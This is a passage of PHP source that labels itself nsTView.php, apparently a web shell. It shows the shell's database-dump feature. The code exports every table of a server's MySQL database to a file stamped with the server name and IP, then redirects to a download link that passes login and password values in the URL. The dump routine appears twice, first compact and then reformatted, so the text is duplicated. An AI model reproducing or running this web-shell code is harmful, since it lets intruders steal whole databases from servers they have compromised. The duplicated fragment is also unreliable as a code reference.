$row[1]=str_replace("\n","\r\n",$row[1]); fwrite($fp, $row[1].";\r\n\r\n"); $res = mysql_query("SELECT * FROM `$tab`"); if(mysql_num_rows($res)>0){ while($row=mysql_fetch_assoc($res)){ $keys = join("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = adds2($v);} $values = join("', '", $values); $sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n"; fwrite($fp, $sql); }} fwrite($fp, "\r\n\r\n\r\n"); } fclose($fp);
} $fp = fopen($f_d . "/" . $f, "w"); fwrite($fp, "# nsTView.php v{$ver}\n# Web: http://nst.void.ru\n# Dump from: " . $_SERVER["SERVER_NAME"] . " (" . $_SERVER["SERVER_ADDR"] . ")\n# MySQL version: " . mysql_get_server_info() . "\n# PHP version: " . phpversion() . "\n# Date: " . date("d.m.Y - H:i:s") . "\n# Dump db ( {$db} )\n# --- eof ---\n\n"); foreach ($tabs as $tab) { fwrite($fp, "DROP TABLE IF EXISTS `{$tab}`;\r\n"); $res = mysql_query("SHOW CREATE TABLE `{$tab}`"); $row = mysql_fetch_row($res); $row[1] = str_replace("\n", "\r\n", $row[1]); fwrite($fp, $row[1] . ";\r\n\r\n"); $res = mysql_query("SELECT * FROM `{$tab}`"); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = join("`, `", array_keys($row)); $values = array_values($row); foreach ($values as $k => $v) { $values[$k] = adds2($v); } $values = join("', '", $values); $sql = "INSERT INTO `{$tab}`(`{$keys}`) VALUES ('{$values}');\r\n"; fwrite($fp, $sql); } } fwrite($fp, "\r\n\r\n\r\n"); } fclose($fp); print "<meta http-equiv=\"REFRESH\" content=\"0;URL={$php_self}?p=sql&login={$login}&pass={$pass}&adress={$adress}&conn=1&baza=1&dump_download=1&f_d={$f_d}/\">"; } #end of db dump $vnutr = $_GET['vnutr']; $tbl = $_GET['tbl']; if ($vnutr and !$_GET['ins_new_line']) {